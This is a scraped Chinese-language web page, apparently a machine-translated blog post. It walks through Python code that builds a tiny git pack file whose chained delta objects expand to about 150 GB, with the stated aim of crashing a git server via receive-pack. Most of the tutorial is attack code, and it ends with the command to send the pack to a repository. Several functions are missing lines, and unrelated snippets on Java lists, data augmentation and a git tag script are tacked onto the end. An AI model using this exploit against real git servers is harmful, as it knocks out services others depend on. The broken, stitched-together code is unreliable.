git協議的乙個有趣方面是delta物件。 它們實質上允許從乙個物件複製貼上內容以建立乙個新物件。 讓我們使用增量建立乙個巨大的物件,並嘗試破壞git伺服器!
我們可以複製貼上的最大位元組數為16711680位元組(255 << 16),因此我們將使用此大小的blob並將其貼上幾千次。 只是為了好玩,我們實際上將從255個位元組的blob開始,然後逐步提高。
但是首先,我們需要學習git協議。 負責接收物件的命令是receive-pack,它期望的第一件事是參考更新列表。 例如:
refs/heads/master
我們不會費心尋找有效的old_sha1 ,因此我們將通過建立乙個新引用來迴避它。 我們可以通過使用特殊的零id雜湊值做到這一點:0000000000000000000000000000000000000000000000。 對於new_sha1,我們將僅使用乙個虛擬雜湊,例如11111111111111111111111111111111111111111,因為我們希望git伺服器在實際嘗試驗證該雜湊之前崩潰。
最後,這些命令以pkt-line格式編碼,該格式新增了4位元組長的十六進製制字首。 因此,讓我們看看目前為止(我將使用python 3作為**示例)。
zero_id = b'0' * 40
fake_id = b'1' * 40
create_ref = b'%s %s refs/heads/***\x00\n' % (zero_id, fake_id)
pkt_line = b'%04x%s' % (len(create_ref) + 4, create_ref)
sys.stdout.buffer.write(pkt_line)
sys.stdout.buffer.write(b'0000')
接下來,我們需要開始打包將要傳送的物件。 讓我們從標頭開始:12個位元組,包括:ascii中的「 pack」,後跟4個位元組的版本號(總是2)和4個位元組的跟隨物件的數目(所有數字按網路位元組順序排列)。 根據我們的計畫,我們將從大小為255的blob物件開始,使用此物件生成大小為65280的blob,然後使用此物件生成大小為16711680的blob,最後生成我們的大物件,因此共有4個物件。 我們不會費心建立任何提交物件。
pack = bytearray()
pack += b'pack' + struct.pack('!ii', 2, 4)
標頭已準備好,讓我們新增第乙個blob。 包中的每個物件都需要乙個物件標頭,該標頭編碼其型別和大小。 我們將使用的型別號是:blob為3,delta為7。
具有固定大小的字段將太明顯了,因此git使用其自己的可變長度編碼。 讓我們編寫乙個函式來做到這一點:
def object_header(obj_type, obj_size):
header = bytearray()
b = (obj_type << 4) | (obj_size & 15)
obj_size >>= 4
while obj_size > 0:
b = obj_size & 0x7f
obj_size >>= 7
return header
我們終於準備好新增第乙個blob!
size0 = 255
blob0 = os.urandom(size0)
pack += object_header(3, size0)
pack += zlib.compress(blob0)
現在,我們可以建立第乙個增量。 我們將blob0複製貼上256次,以得到大小為65280的新blob。delta格式非常簡單:
src_size dst_size [commands]
當然,大小也使用可變長度編碼,因此讓我們建立幾個輔助函式:
def make_delta(src_size, dst_size, commands):
return encode_size(src_size) + encode_size(dst_size) + commands
def encode_size(n):
b = bytearray()
while n > 0:
mod = n & 0x7f
n >>= 7
if n > 0:
else:
return b
我們還需要指向帶有20位元組雜湊頭的源物件,所以讓我們新增乙個函式來計算blob的id:
def blob_id(blob):
m = hashlib.sha1()
m.update(b'blob %d\0' % len(blob))
m.update(blob)
return m.digest()
現在,我們有了所有構建塊來建立我們的第乙個增量物件:
size1 = size0 * 256
cmd1 = bytes([0x80 | 0x10, 0xff]) * 256
delta1 = make_delta(size0, size1, cmd1)
pack += object_header(7, len(delta1))
pack += blob_id(blob0) # source
pack += zlib.compress(delta1)
讓我們來談談我們建立的命令。 第乙個位元組定義了我們正在執行的操作。0x80表示我們要從源物件複製。0x10表示後面的位元組將說明要複製多少位元組。 因此,這2個位元組實際上轉換為:複製255個位元組。 我們這樣做256次。
好的,讓我們建立第二個增量:
size2 = size1 * 256
cmd2 = bytes([0x80 | 0x20, 0xff]) * 256
delta2 = make_delta(size1, size2, cmd2)
pack += object_header(7, len(delta2))
pack += blob_id(blob0 * 256) # source blob
pack += zlib.compress(delta2)
請注意,這裡我們如何使用命令0x20,這意味著下乙個位元組將乘以256,並用作副本大小。 因此,我們的新命令轉換為:複製65280位元組,共256次。 另請注意,對於源id,我們使用將由delta1生成的blob。
delta2是我們最大的構建塊,讓我們使用它來生成大約150 gb的blob大小。
size3 = size2 * 10000
cmd3 = bytes([0x80 | 0x40, 0xff]) * 10000
delta3 = make_delta(size2, size3, cmd3)
pack += object_header(7, len(delta3))
pack += blob_id(blob0 * 256 * 256) # source blob
pack += zlib.compress(delta3)
在這裡,我們使用命令0x40,該命令將以下位元組乘以65536,從而允許我們建立命令:複製16711680位元組,共10000次。
就是這樣,總包大小為464位元組,可生成約150 gb。 您可以執行:
./amplify.py | git receive-pack /path/to/repo.git
或嘗試使用遠端倉庫:
from:
List容量擴增的數量
list介面的大小可變陣列的實現。實現了所有可選列表操作,並允許包括 null 在內的所有元素。arraylist繼承於list介面,除繼承過來的方法外,還提供一些方法來操作內部用來儲存列表的陣列的大小。每個arraylist例項都有乙個容量。該容量是指用來儲存列表元素的陣列的大小。它總是至少等於列...
資料讀取與資料擴增
由於每個的字元個數不定,所以將字元識別建模為目標檢測,採用目標檢測模型進行字元的識別。模型backbone採用encoder decoder架構的resnet18,在encoder部分採用resnet常規的降取樣步長為8,在decoder部分採用可變性卷積和轉置卷積上取樣到步長為2。檢測頭採用cen...
git自動打tag,再生成增量包
bin bash author kingboy description create tag list for update 獲取當前專案的配置名稱 gitdir tdwnews 要輸出的目錄路徑 dir home git gitdir 當前操作目錄 pwdpath pwd 判斷是否有該目錄沒有則建...